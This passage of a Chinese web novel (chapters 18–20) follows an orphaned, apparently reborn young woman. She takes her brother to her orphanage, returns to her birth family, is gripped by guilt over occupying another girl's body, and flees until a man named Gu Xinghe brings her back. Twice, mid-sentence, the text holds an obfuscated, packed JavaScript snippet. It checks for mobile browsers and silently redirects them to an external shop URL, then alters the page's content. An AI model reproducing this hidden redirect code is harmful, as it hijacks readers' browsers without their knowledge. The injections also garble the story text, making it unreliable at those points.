一旁,容老暗暗叹了口气,话语间流露出些许的庆幸:“那现在呢?你开始慢慢靠近他们了吗?” 她开始慢慢靠近了吗?祝容时一怔,是啊,昨天和祝容羲一起用餐她没有拒绝,今天祝容羲接她回来她也没有拒绝,这难道不是在靠近吗? 她愣了片刻,道:“我不知道。” 容夫人笑着道:“没事,不知道就不知道,慢慢来,以后就有答案了。” 话题到此为止,容夫人又问了一些祝容时学习上的事:“真没想到,我们容家会出两个学医的孩子,当初若珩可被课本上的重点折磨的不轻啊,容时呢?还能适应?” 祝容时笑了下:“我现在觉得还好,只要死记硬背就行。” 容若珩这时候才终于找到机会插嘴:“课堂上才说了,要活学活用。” 祝容时乖巧的应了一声:“好的,教授。” 一番叙话,不知不觉时间来到了晚上七点,就餐时祝容时第一眼便注意到了什么,她抬头看向祝容羲,祝容羲却只是默默的为她拉开座椅。 这一次,无论是饭前还是饭后,都没有什么不愉快的事情发生。 用餐之后,祝容时照旧要求离开,而所有人默契的没有挽留,只不过这次换了一个人送她走。 容若珩拿起手机抬手开门,祝容时在他身后站了片刻,随后率先一步出了门。院中,车子已经停放妥当,司机站在一边,等着将车钥匙给他。 容若珩上前接过他手中的车钥匙:“你去休息吧。” 司机先生应了一声,随后转身离开。 容若珩拉开后车门,对祝容时道:“今天我送你去,可以吗?” 祝容时沉默片刻,随后点点头:“谢谢。” 车子行驶上路,一片寂静中,容若珩想起第一次和祝容时交谈时,她口中对家庭和亲人的看法,不禁开口询问:“其实第一次在学院餐厅里,你说的才是真心话,对吗?” 祝容时没说话。 容若珩接着道:“你或许害怕很多东西,但其中并不包括死亡,因为你对很多东西都看得太平淡了。” 祝容时这时候才抬眸看向前方驾驶座上的人,良久,她淡淡道:“教授,看得淡不意味着看得开,放弃也不意味着能彻底割舍。的确,我害怕不怀好意接近我的人,但也是真的不在乎这一身血肉,我只在意能不能自由自在的活到死。” 话题到此戛然而止,直至到达目的地,容若珩都没有再开口,但当祝容时提着包下车时,他却还是忍不住说: “我们会一直等你回来。” 祝容时闻言怔愣原地,她僵硬了片刻才回手关闭车门,提步离开他的视线。 容若珩看着她上楼,看着她房间的灯亮起,过半个小时后又熄灭,他静静守了片刻,才驱车离开。 至此,这一天归于寂静。 18. 18 自那个周末过去后,祝容时的生活再度恢复了平静,但却仍然多了许多不同。 例如她的手机通讯录和好友列表里多了许多人;例如每次一到周五,宿舍楼前的总会多出一辆从样子到号牌都让她很熟悉的车;例如近来多了很多,用异样眼光看她的人…… 不过那些对她而言都不重要,她的生活虽然和以前不同了,但却依然很平静,没有再贸然闯入什么陌生的存在。 日子一天天平静的过去,天气也渐渐暖和起来,一转眼,便已临近五月份,又是七日小长假,对于这次假期,祝容时决定回福利院看看。 想好了就立刻行动,祝容时背着一个绿色书包,戴上遮阳帽,拿起手机和钥匙便走出宿舍门,空荡荡的楼道里,门关上的声音显得尤为突兀,她把门锁好,转身去坐电梯下楼,才走出校舍楼,便见不远处的空地上,停放了一辆很熟悉的车。 祝容时抬手调整了一下包带,迈步往前,与此同时,车上的人才看见她,拉开车门下车。 “你回去吧。”在祝容羲开口前,祝容时先一步道,“我想去福利院看看。” 祝容羲闻言,当机立断表示:“我送你。” 祝容时抬头看了看他,随后扬了扬嘴角:“谢谢你。” 将近两个月的时间,每逢周末总会接触,这样下来,相处的时间虽然不多,但也不算少了。 于是现在,对着自己认为可以继续相处下去的血缘之亲,她欣然点头并诚恳道谢,而后将背包放到了后排。 祝容羲静静的在一旁看着,等她坐稳后,才启动车子调转方向,不经意间瞥到后座上绿色的书包,祝容羲忍不住开口:“容时看起来很喜欢绿色。” 浅绿、深绿、墨绿、牛油果绿,每次周五来接她回去祝家和家人相处,她身上的衣服不同,但绿色占据大部分。现在,书包是浅浅的绿色,一身长裙则是如墨一般的深绿。 “嗯。”祝容时点头,“绿色代表生机。” 她喜欢生机勃勃的景象,包括但不限于蓬勃生长的青草、冬日过后树木枝干发出的嫩芽、被阳光穿透的树叶,她喜欢这些情景,也喜欢用摄像头去捕捉这些画面。 “是啊,绿色代表生机,本是很美好的颜色,可偏偏很多人都忘了。”祝容羲想到现在的人们如何形容,便有些啼笑皆非,随即他摇了摇头,说起自己的来意。 “话说回来,我这次来,原本是想和你说,爸妈打算带你去云城看看外祖父母,问问你愿不愿意去,但你既然这次放假另有安排的话,那你下次放假,可以把时间留给我们吗?” 祝容时唔了一声,打开手机日历查看后一口应道:“可以。” 除去每周的周末不算在内,下次的节假日放假在月底,假期时长为三天,可以和他们有接触,而且不会接触太长时间,没几日就可以回来,是个对她而言,相对比较安全的相处时长,不用担心留的时间太长而招人厌烦。 承诺脱口而出的瞬间,她的心也渐渐沉了下去,祝容时放缓了呼吸,靠在椅背上闭上眼睛,遮住了眼底倾泻而出的痛楚。 无论关系是什么?有多亲密,人和人是要保持一定距离的,是她曾经太不懂事,没有注意相处距离…… 寂静在车厢里蔓延,祝容羲在等红绿灯的间隙转头看了祝容时一眼,见她闭目休憩,便转过头去,专心致志当一个司机。 福利院的地址距离祝容时的所在校区较远,两个小时后,他们便到了目的地,车子停稳的同时,祝容时也睁开眼睛:“到了啊?” 祝容羲颔首:“嗯,到了。” 祝容时转头看向那扇大门,脸上浮现出笑容,她邀请祝容羲:“你要去里面看看吗?” 福利院是这一生抚养她长大的地方,她带着前生的痛苦与决绝来到这个世界,在没有关系的人的爱护下,重新一点一点慢慢长大成人,然后开始新的一生。 而现在,她在问这一生与她有血缘关系的人,要不要进去,看看她生长的地方。 祝容羲看着门扉上熟悉的字样,只觉得寒意刺骨,没来由的,他想到了第一次见祝容时的时候她说的那句话。 她说,不是他们找到了她,而是她凭本事出现在他们面前,才让他们怀疑并发现她的所在。 本以为她是强词夺理,却没想到过去二十年,她一直都在A城……她离他们那么近,他们却从未发现,为什么他们宁愿去全国各地大海捞针,都没想过在这A城好好找找呢? 仅仅因为她的名字不是温如,就找不到她,这也未免太荒唐可笑了。 良久,二人站在门口,祝容羲突然开口道:“我们,曾经来过这里,很多次。” 可却没有一次,他们真的看见过她,发现了她的存在…… 祝容时开口邀请的时候神态自若,可当祝容羲真的和她站在门口的时候,心却莫名其妙提到了嗓子眼。 闻言,祝容时点点头,她知道他们来过这里。 原著描写,祝温如丢失那些年,他们一直在找寻,至于为什么七年后才找回祝温如?是因为那年是他们第一次来到祥和路福利院。当时他们决定出资福利院,所以来看看,偶然之下看见了一个熟悉的名字,从而确定,那是他们丢失的孩子…… 但他们之间,和原著描写的不太一样,她改了名字,他们没有注意到这个名字,以至于多次无功而返。 在祝容时的印象中,她七岁的那年,有社会各界的爱心人士来福利院献爱心,因为后来院长和她说,这家人似乎有想收养她的意愿,院长怕事出突然,所以先悄摸着问她有没有想法。她当时回绝了,后来院长也就没有再提过。 “七岁那年,院长妈妈说,有一户人家在宿舍门口看到了我的名字和照片,觉得和我有缘分,问我愿不愿意和他们成为家人,我不想离开熟悉的地方,就拒绝了,后来院长妈妈就没有再提过。” 所以,一切都是阴差阳错。 他们来这里看过,见到了一个姓祝的名字,下意识觉得有缘,随口说了几句,但那时,父母其实从未想过收养那个觉得有缘的孩子,和她成为家人。他们没有想到,那个姓祝的孩子,就是他们苦苦寻找的亲人…… 明明那次,如果他们有这方面的意愿,或许可以看到她更详细的资料,这样或许就可以更早地接她回家。可阴差阳错,就这样错过了。 他们只想找温如,却没想到温如会改了名字…… 祝容时接着道:“其实没有被收养挺好的,有些父母因为自己没有孩子来收养福利院的孤儿,但他们在有自己的孩子之后,对孤儿就不会像最开始一样了。” “而在这里,我不用想那么多,只要好好长大、努力学习就可以,我们的学费生活费是福利院出资,再加上我自己有勤工俭学,所以才能在外面租房,当然也不能排除房东人好、房租便宜的原因。” 祝容羲笑道:“这么看来,在你成功过程中遇到的每一个人,其实都很好。” 祝容时点头,但随即又皱了皱鼻子:“也有几个不那么好的,但把他们忘了就可以了。” 说话间,二人提步走进福利院里,祝容羲一边走一边问道:“我一直比较好奇,你为什么会和宣翾做朋友?” 祝容时一早就知道他们调查过自己,所以如今听到这个问题,也不觉得哪里不对,只是沉吟片刻后开口解答:“我怕生,从小不敢随便和陌生人说话,初中的时候遇到了几个为人特别好的朋友,她们带我走出了内心的藩篱,教我和人交往交流,升上高中之后,宣翾是第一个和我说话的人,所以就成了朋友。” “但朋友嘛,大多都是只能和你走一段时间的路的人,能一直走下去的人很少,初中高中的朋友慢慢的都断了联系,宣翾和我没断过联系,还时常约饭和逛街,关系就这样维持下来了,后来断交的原因也很简单,三观不同的人没法做朋友的。” 她说的清楚,祝容羲便也没追问,二人来到登记处,祝容时拿出本子,自己登记之后,递到祝容羲面前,笑意吟吟道:“外来人员请登记。” 祝容羲从善如流接过笔,按照标注做登记,随后祝容时带着他去办公室里找乔敏,向这位福利院的负责人说明情况。 乔敏虽然在福利院工作挺长时间,但正式负责是今年才开始,眼下她正在埋头整理资料,听见有人敲门,头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17549743|204250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也不抬直接道:“进来。” 祝容时带着人大大咧咧走进去:“姐,你忙什么呢?” 乔敏抬头一看,顿时喜笑颜开,她招手让祝容时过来:“哎呦我的寸寸啊,你终于回来了,姐姐可想死你了……” 寸寸?祝容羲转头看向祝容时,果不其然,祝容时脸红了,从脸颊红到耳后。 她快速走到乔敏身边,红着脸却还正色道:“别乱叫,我今天可是带了人回来的。” 乔敏这才注意到她身后不远处那个年轻人。 她站起身,隔着一张办公桌问祝容时:“你朋友?但我感觉不像啊。” 祝容时点点头道:“不是朋友,是做过亲子鉴定的哥哥,今天带来让你看看。” 乔敏闻言正了神色,她拉拉衣袖,起身来到祝容羲面前,祝容时不解,跟着转过身。 乔敏伸手:“您好,我是乔敏,福利院现在的负责人,也是大了容时十五岁的姐姐。” 祝容羲抬手与她相握:“祝容羲,久仰,过去那么多年,多谢您一直照顾容时。” 乔敏笑了下:“应该的。”毕竟福利院的孩子,他们不照顾就没有人来照顾了。 她引着人到沙发上坐下,又让祝容时去茶水间忙活,等把人支开了,才开口询问祝容羲具体情况:“你们是怎么找到容时的。” 她了解容时,也知道福利院的孩子大多不会主动去寻找家人,所以只有可能,是这些人找到了她。 祝容羲坦诚道:“我舅舅担任她这学期的授课导师,偶然之下看见了她,因为她和我父亲的相像程度起疑,就去做亲子鉴定了。” 乔敏点了点头:“你们是一直在找容时吗?” “是”祝容羲回道,“我父母一开始给她取的名字是温如,但不知道她改了名字,所以一直没有找到。” 乔敏闻言颇有些语塞,但也没说什么,毕竟全国各地很多丢失的孩童,改了名字换了户口就找不到了,能找到的寥寥无几…… “这也正常。”乔敏道,“这世上丢失的儿童妇女,大多也是这样改了名字换了户口就找不到了,对他们的家人而言,找人就像大海捞针一样,希望渺茫,你们能坚持这么多年,可见是从心里希望她回家的,从这点来看,我想你们应该会对她很好吧?” 祝容羲张口欲言,却被乔敏打断了,她知道祝容羲要说什么,于是抢先一步道:“好和不好不是和我说的,而是要容时自己切身感受的。我现在只想和你确定一件事,因为她和家人相认,我们福利院这边不会再出资她接下来的学费和生活费了,你们会承担她的学费生活费,直到她大学毕业得到工作,并拥有自己的稳定收入的那一天吗?” 祝容羲不假思索点头:“这是自然。只是很担心她不接受,她刚知道我们的时候,反应很激烈。” 乔敏和祝容时相处那么多年,自然是知道她的,她轻叹一声,缓缓道:“容时是个一眼看去很温和的女孩,但她外热内冷,无论遇到什么事,她都冷静到了冷漠的地步,你觉得她激烈,是因为你们还不了解她。” “不过好在她吃软不吃硬,信任和感情都是要慢慢培养的,她愿意带你来见我,说明她开始信任你了,希望你不要辜负她的信任。” 祝容羲郑重点头:“一定。来的路上,她说这次假期,来福利院帮忙……” 乔敏闻言展颜一笑:“那真不巧了,我们计划着这个小长假,带孩子们出去游学呢,机票都订好了,明天吃过早饭就出发。” 祝容羲抿抿唇,低低嗯了一声:“那我去问问她,愿不愿意回家。” 乔敏闻言神色凝重让祝容羲留下:“等等,我去吧。” 祝容羲还未来得及说什么,开门声便传来了,紧接着乔敏走了出去。 半个小时后,祝容时走了进来,对着祝容羲扬起笑脸:“祝容羲,你想带我回家吗?” 祝容羲一怔,他站起身,随手拿过沙发上的背包,然后握住她的手:“想,我和爸妈他们,都想你回家,很久很久了。” 他并不知道乔敏和祝容时聊了些什么,但他知道,祝容时在这一刻,发自内心的愿意和他回家了。 19. 19 来的时候是两个人,走的时候自然也是。 出来福利院大门之后,祝容羲想起先前进去时,祝容时的外来人员登记,不禁有些好奇:“先前,你为什么突然登记自己为外来人员?” “不知道,大概是今天看见你的时候,突然觉得自己要离开这里了,所以想留下点什么吧。”又或许,早在邀请祝容羲进来的时候,就已经知道,自己不会留在这里了…… 祝容时轻笑了笑,笑容中多了几分曾经没有的轻快,说出口的话语,却不似她的笑容那般轻松:“先前在茶水间的时候,姐姐问我,自己知不知道为什么会带你来这里?” “我和她说,就是单纯的想带来让她看看……” 但乔敏却说:“寸寸啊,你之所以带他来,是因为想让他从这里,正儿八经的把你接回家去。” 她说:“人渴望温暖,追求安定,你只是习惯了一个人,并不是真的喜欢一个人,你需要温暖,需要安全的所在。在他们没有找到你以前,你每次休假回来福利院,是因为你对这里有归属感吗?不是,因为你知道在你毕业找到工作获得稳定收入之前,这里是能为你托底的“家”。” “你一直都想要一个家,没有人会不想要家的……寸寸,你要知道,现在在你心里,福利院已经不是能让你产生归属感的家了,与福利院相比,更能让你产生归属感的地方,是你看到的、你正在尝试接触的、那些一直在等你回家的人。” 乔敏语重心长,却字字句句直戳肺腑,她自己都一知半解的心事,却被乔敏轻而易举洞悉说明,她知道自己纠结,却不知道,自己原来是这么想的……如今被人点破,才恍然大悟。 祝容羲静默片刻,抬手轻轻拭去她眼角的泪珠:“别怕,哥哥带你回家。” 寥寥数字,又让祝容时险些哭出声来,她抬手擦去眼泪,看着祝容羲笑着点头:“好。” 二人随即转身,走向那停放在福利院大门外的车辆。 在他们离开之后,乔敏从保安室里走了出来,静静的看着他们驱车离去,直到再看不见。 片刻之后,有人路过,来人是福利院的辅导教师张文玥,刚结束授课,见乔敏一直站在门口向外看,便上前询问:“乔姐,你盯着大门外看什么呢?” 乔敏轻轻笑了笑,但:“看着寸寸回家。” “寸寸回来了?什么时候啊?我怎么不知道?回家?她回哪个……”张文玥面露惊奇,“寸寸的家人找到她了?” 乔敏点点头:“是啊。” “都这么多年了,怎么找到的?”张文玥好奇的问道。 乔敏道:“他们的舅舅,是容时其中一门课程的授课导师,偶然发现容时长得像父亲,然后就做了个亲子鉴定……相认两个月了,确定那些人可信,对她无害,才带来让我看看。” “这过程有点曲折离奇啊。”张文玥摸着下巴道,“不过幸好,结果是好的,我们寸寸以后一定要幸福快乐,平安健康啊!” 微风拂过,祝福随着风飘向远方。 远处,车辆在道路上行驶平稳,突然,祝容时鬼使神差地按下车窗,抬手稳稳接住一片飘荡而来的落叶。 祝容羲看着她有些忍俊不禁:“容时,哥哥有点好奇,乔敏院长,为什么会叫你寸寸啊?” 祝容时曲指轻握掌中叶片,语气轻快的道:“时字去掉偏旁,就是寸字。院长妈妈说,尺有所短,寸有所长,取寸寸为小名,希望能取尺之短补寸之长,求个完美的意思。” 后来就叫开了,不过除了福利院的人,外人不知道她还有这样一个小名。 “那以后,我们也可以这样叫你吗?”祝容羲笑着问道。 “可以倒是可以,但有人的时候不许这么叫。”祝容时回道。 祝容羲浅笑着颔首应下,低低轻唤了一声:“寸寸。” 祝容时转头看了他一眼,没有说话,转头又将车窗关上了。 天色昏暗时,车辆再一次稳稳停在祝家门前,她推开车门下车,第一次细细打量这个地方,以前觉得自己不可能回来,所以从不在意是什么样子,现在突然回来了,虽然还感到无所适从,却至少没有了曾经的恐惧与不安。 祝容羲来到她身边,轻轻握住她的手,一步一步带着她往前走。 门开了,门后面是她这一生有血缘关系的亲人,轻快的纯音乐悠悠传来,容瑾瑜和祝盛蹊上前,将准备已久的礼物递给她:“容时,欢迎回家。” 容瑾瑜抬手捋了捋她耳边垂落的头发:“这是爸爸妈妈给你的见面礼,你的房间里,还有这些年来给你准备的礼物……容时先上去看看,好吗?” 他们一直记得,第一次见面时祝容时将自己和祝温如分隔得清楚明了的事,所以这一次,他们没再拿出曾经给温如的礼物,而是重新准备了一份。 祝容时微微颤着手接过那份有些厚重的礼物,在几人期待的目光中,将其打开,扉页是她在体验馆兼职,第一次见到容瑾瑜和祝雅言的那天,旁边附着一张照片: 这是第一次和容时见面,她坐在一旁调整设备的时候,被人从侧面拍了下来,想想也知道是谁,她没有在意这些细枝末节,继续往后面看。 再往后翻,是她当晚留在这里用餐前,似乎是从监控里截取出来的照片,旁边标注:第一次,一家团聚。 再之后还有很多,过去两个月来,她和他们之间的点点滴滴接触,都被记录下来,和着他们对她的期待一起装订成册,在她愿意回来的这一天当做礼物送给了她…… 期待不是一份薄薄的文件合同,不是一句随口说出的言语,而是有重量的、被人仔细记录下来的、生活中接触的点滴。 她紧紧抱住那份礼物,眼中含泪却扬起了笑脸:“谢谢妈妈,爸爸,我很喜欢。” 容瑾瑜红着眼上前紧紧抱住她,千言万语哽在喉头却不知该说哪一句,最后只吐出来短短的四个字:“喜欢就好。” 祝容时轻轻闭了闭眼,泪水浸没在容瑾瑜肩头的衣衫,片刻后,她动了动被挤在身前抱着礼物的手,容瑾瑜便担心她不适应赶忙松开,却再舍不得往后退。 恰在此时,身后一阵开门声传来,是祝雅言回来了,她刚出差回来,打开门就看见父母和祝容羲围着祝容时站在门口向她看来。 祝雅言淡定自若的上前,握住祝容时的手:“容时,姐姐带你上楼去看看。” 说完,她顶着一路风尘仆仆,将祝容时再一次带离了亲人的包围圈。 见她走得有点快,祝容羲不放心的叮嘱:“你走慢点,寸寸今天穿的长裙,别踩到了……” 寸寸? 祝雅言脚步一滞,随后神色如常带着人按下电梯走进去,身后祝盛蹊和容瑾瑜对视一眼。 祝盛蹊问道:“寸寸,是容时的小名?” 祝容羲点点头:“她说,福利院院长是这么和她说的;尺有所短,寸有所长,取尺之短补寸之长,希望能求个完美的意思。” “寸寸,意义美好又朗朗上口,是个很好的小名。”容瑾瑜轻笑着道,“不过容时都这么大了,在自己家人面前就算了,外人面前可要注意着些。” 祝容羲点点头,一旁的祝盛蹊沉吟道:“不过话说回来,容时的这个名字也很有意义,这位院长很会取名,等哪天有空了去见一见。” 容瑾瑜点头道好,几人回到沙发上坐下没一会儿,祝雅言就下来了。 祝盛蹊见她下来开口问道:“你怎么下来了?不陪着容时拆礼物吗?” 祝雅言道:“爸,我陪着她会觉得不适应的,让她自己一个人待会儿吧。” 祝容羲赞同道:“这是她真正回家的第一天,有人在一旁看着,她会紧张的。” 见状,祝盛蹊便没有再说什么,只是又默默抽出了一份文件,依然是一份赠与合同。 容瑾瑜顿时略感无奈,她将文件拿了过来:“你别老急着送她房产啊,等稍微过几个月,她适应这里了再送。” 祝盛蹊垂头哦了一声,一旁祝雅言噗嗤一声笑出了声,见父母转头看来,又赶忙收声正色,装做什么都没有发生。 与此同时的六楼,祝容时坐在房间的沙发上,她看着面前被分类归置好的礼物,在这静谧的空间里,呼吸声都清晰可闻。 她静静看了许久才起身,拿过左边最上面的礼物,那是一份来自二十年前诞生礼。 二十年前流行什么呢?那个时候国家处于经济上升期,很多东西并不时兴,而且一个新生儿的诞生礼,除了饰品,她想不到还会是什么。 果不其然,打开盒子,映入眼帘是一套玉雕的长命锁和平安镯,小巧精致,可爱极了。她轻轻放到一边,开始拆余下的礼物,有满月的、百日的,周岁的礼物,之后的每一年,都有过年礼物和生日礼物…… 她并不知道自己此生生于何时,但在过去二十年的时间里,在这个地方,他们一直都有准备过这些吗?是为她准备的吗?那原来的祝温如呢?她在七岁那年被接回家时,有收到这些礼物吗? 可他们会为了自己这个脾气古怪、但有血缘关系的女儿准备这些,那想必当初,他们也为祝温如这么用心的准备过吧?归根结底是她不好,来到这个世界,占了她的身体…… 她来到这里,成为了祝容时,那原来的祝温如呢?她在哪里?她还好吗? 拆礼物的手慢慢停了下来,愧疚感油然而生,渐渐占据了她的全部思绪,她突然再一次产生了逃离的念想。 她踉跄着起身,身形映入房间里的梳妆镜,她鬼使神差看向镜中的自己,是与前生截然不同的面容,除了眼睛下面一滴泪痣,找不到任何与前生相似之处,明晃晃的宣告着,她占据了别人的身体和亲人的事实,在此刻是如此的清晰明了。 她一个外来者,怎么能接触甚至进入祝温如的家呢?她是谁啊?她配吗? 扑通乱跳的心裹挟着负罪感一股脑袭来,传遍四肢百骸,她转身急匆匆跑向电梯按下按键,在电梯到达门打开后走进去颤抖着手按下楼层按键,等电梯到达一楼,门刚打开,便在其余四人震惊骇然的神色里逃也似的跑了出去,她对身后传来的所有呼唤置若罔闻,拼尽全力逃离这让自己满心愧疚的地方。 夜灯照亮了她的前路,她却仍觉得前路茫茫,她不知道自己跑了多久,当她再停下时是在一处公园里。 她是祝容时,她是来于异世的一个可恶的强盗,她占据了别人的身体,她是一个无耻的小偷,偷走了这具身体的家人对祝温如的爱和期待,如果没有祝容时,活在世上的就是原本的祝温如了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17551843|204250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那一切原本就都是属于她的…… 她为什么现在才恍然大悟自己占据了别人的身体?是因为自己在这里从小长大吗?是因为自己从小到大都是祝容时吗?是因为自己在过去的二十年里从来不知道还有一个祝温如吗?是因为自己梦到了祝温如吗?是因为她接触到了他们对祝温如的爱和期待吗? 她把祝温如和祝容时泾渭分明……可她原本就占据了别人的身体,这根本是分不开的。 一片迷茫之中,她蹲下去紧紧抱住自己:“我想让祝温如回来,我想,活下去啊……” 她想让祝温如回来,也想让自己在这个世界继续生活下去,她不想占据别人的身体,她想做她自己,为什么她直到今天才明白过来? 寂静的夜里,只有她的哭泣声若有若无,不知过了多久,有脚步声响起,由远及近,很快,一人静静站在了她的面前,她泪眼朦胧抬头看去,有些眼熟,但不熟悉,想到自己似乎挡了别人的路,便就着蹲着的姿势往一旁挪动,那人见状,也跟着往旁边挪了一步,随即蹲下来:“怎么了?” 清冷淡然的声音响起,她抹了抹眼泪抬头看去,略有些哽咽的问:“你是?” 那人眉宇间染上一丝无奈:“你又忘了。” 音落,他微微一叹,再度自我介绍:“我姓顾,我叫、顾星河。” 熟悉的名字传来,她眨了眨眼睛,搜肠刮肚去想,终于想起了和他为数不多的两次见面,她低低哦了一声,没有再说话,揉了揉酸麻的腿自顾自站起身来,转头要走。 就在她转身的瞬间,顾星河倏然起身握住她的手腕,长腿一迈带着她往公园深处走去,祝容时不安的挣扎起来,却是蚍蜉撼树,毫无作用,但不知为何她心里却没有畏惧,只有对未知的紧张。 或许是之前两次见面,这个人都给她留下了不算差的印象,所以她面对他的时候很平静。 顾星河拉着她走进一处亭子便松开手:“此处无旁人,心里有事,便与我说。” 她怔在原地,握着手腕呆呆地看着他,久久未能回神。 公园里的路灯亮了起来,照亮了她面上的茫然无措,也让她看见了顾星河平静的面容下眼中流露的关心。 她以前从不与人说自己真正的心事,如果有天说出来了,那就意味着那些心事她都放下了。 此时此刻她本应该沉默以对的,可不知为何,她却居然下意识便张口,向这个根本不算熟悉的人,诉说自己此时此刻最真实的心事: “我偷了别人的东西……” 顾星河闻言,神色莫名,他低低嗯了一声,没有出声打断,再度轻握祝容时的手,将她带到亭中石凳上坐下,自己在她对面坐定,俨然是一个倾听者的样子。 祝容时接着道:“她原本的人生,她的身体,她家人的爱……我不知道,我为什么直到现在,才发现我强占了别人的东西……” “她是谁?”顾星河平静的发问,看着她的神色中闪过一丝无奈。 祝容时道:“祝温如。” 顾星河淡淡的道:“那是你曾经的名字。” “不是。”祝容时反驳,“我从没有过这个名字!那是祝温如的名字,我梦见过她原本的一生……” 她原本想离那些出现在祝温如一生中的人远远的,可她在感受到温暖的时候却还是选择了靠近……那一切不属于她,她却还是忍不住心生贪恋。 她一个外来者,占据别人的身体在这个世界生活了二十年,改变了她原本的人生轨迹,将自己与她彻底分隔开,最后却还在贪恋那原本属于她的温暖……她怎么能这么恶心啊? 祝容时长舒了一口气,再一次产生了放弃自己的想法,如果她走了,祝温如会回来吗?那以后,会有人记得祝容时曾经存在过吗?应该没有吧?毕竟她又没有创造出什么价值和意义…… 顾星河静静看着她,片刻后倏然开口:“她在提醒你,不要重蹈覆辙。” “什么?”祝容时惊疑不定的抬头看向顾星河,见他神色淡淡,起伏不定的心绪莫名安宁了些许。 “你是祝容时,亦是祝温如,她曾经历过的,她不想你再经历一次。”顾星河声音淡淡,却莫名让她觉得安心。 祝容时惨淡一笑,问他:“何出此言。” 顾星河神色平静,抬手轻轻抚过她的脸颊:“明日此时,你便知道了。” 音落,他垂下抚过她脸颊的手,再一次轻轻握住她的:“走吧,明日早晨,再为你解惑。” “去哪?”祝容时见他神秘兮兮的样子,心绪也不由自主的平和下来。 很不合时宜的,她想起了前生听过的一句话,如果有天,有人能让情绪失控的你冷静下来,那他对你而言,一定有着重要的意义。 她不知道那意义代表着什么,但现在却从未想过远离他…… “送你回去。”顾星河目视前方,却放缓了脚步与她并肩而行。 祝容时抬起未被他握住的手擦了擦脸上的泪水,正要开口说不愿,但下一瞬顾星河仿佛知道她心中所想一般开口:“你的亲人,很担心你。” 寥寥几字,却让她说不出拒绝的话,她想反驳那些人不是她的亲人,却说不出口,她被他牵着往前走,路灯下的影子逐渐融合,再难分彼此。 20. 20 公园外,呼唤她的声音传来,她瞬间心头一紧,被顾星河握着的手下意识在挣脱。 顾星河知晓她的挣扎,却始终不露声色,握着她的手也不曾放松,只是停下脚步,垂首看她:“别怕……” 他后面似乎还说了一句什么,但祝容时却没能听清,她被顾星河带着一路直行,直至来到找寻她的人面前。 几人见到他们的时候有些愣住了,只是突然沉默的站在原地看着她,没有靠近。 顾星河缓缓松开她的手,静静站在她身旁。 祝容时边上也没有别人,可她却仿佛被谁推了一下般,猝不及防往前迈了一步。 她以为顾星河推了她一下,往前踉跄一步站定后转头看去,神色犹带一丝惊愕,但她看见顾星河平静的站在那里,似乎从不曾动过…… 她重新转头看向对面的祝家人。 迈出了第一步,再走第二步便很容易了,她一步一步往前,直至走到容瑾瑜面前,她想说的话很多,想说对不起抢了你女儿的身体,占据了她的一切,还不知羞耻的对原本属于她的家人产生了贪恋…… 可最终她脱口而出的,却只有带着哽咽的“对不起”。 容瑾瑜抬手紧紧抱住她,不停的摇头,什么话也没说出口,她不知道女儿的心事,不想责怪她也不愿责怪她。 一旁,祝盛蹊上前对面前这个陌生的年轻人道谢:“鄙人祝盛蹊,今天的事多谢……” “不必。”顾星河声音淡淡打断祝盛蹊的道谢,转而看向祝容时。 而此时,一旁的祝容时情绪已经完全平复下来,她不想再贪恋不属于她的温暖,所以轻轻挣开了容瑾瑜的手,转身看向顾星河。 顾星河静静回望,片刻后倏然开口:“好好休息,明早十点,我会派人来接你。” 说完,他对着几人再度淡淡道了一声“少陪”便提步越过他们离开了。 他既没有亮明身份,也没有说自己姓甚名谁,只是淡淡的告知祝容时明早派车来接她的事情。祝容时看着他的背影渐行渐远,直至他坐进车里,车辆绝尘而去,只留下她与祝温如的家人在这里面面相觑。 祝容羲轻叹一声提步上前,来到祝容时面前,满是无奈的看着她:“寸寸,刚刚的事,可以告诉我原因吗?” 祝容时抬头,望进他满是无奈的眼中,一字一句清晰不已:“我抢走了属于别人的东西……” 众人心里一紧,震惊之余又觉骇然:“什么?” 祝盛蹊额角一跳,他实在不能理解,为什么祝容时心里会产生这种荒唐的想法,但他很快就想到第一次见面时,祝容时把自己和祝温如分割彻底的言辞。 所以…… “你觉得,自己不是祝温如,而祝容时抢走了属于祝温如的一切?”祝盛蹊面上满是困惑与茫然,他实在搞不懂,面前这个女孩怎么思想行为都这么天马行空。 祝容羲无奈摇了摇头,他定定看着眼前的女孩,下意识不想去试图扭转她的想法,反而顺着她的思路道:“不,温如的一切是没有人能抢走的,现在容时得到的,是只属于你的。” “所以现在,容时只要享受自己得到的,而对于温如,我们会永远为她保留属于她的一切。”祝容羲的声音传来,仿佛承诺一般掷地有声。 祝容时这才略略松了口气,她抬头,清澈的目光一一扫视过周围的人,祝雅言静静站在不远处,祝盛蹊和容瑾瑜对视一眼,没有说话,仿佛默认一般。一个关于祝容时精神状态异常的猜测逐渐占据了他们的心。 闹了一晚上,晚餐也没心情吃了,匆匆对付几口,容瑾瑜便陪着祝容时去休息了。 六楼,房间里依然还有包装礼物的盒子,礼物只被拆了一半,很多都还放在原位没有动过,她看着那些东西,想到祝容时或许是在拆到一半的时候,突然想起她不是祝温如的事情…… 精神状态或许不正常,但她绝对是个很有道德水准的人。 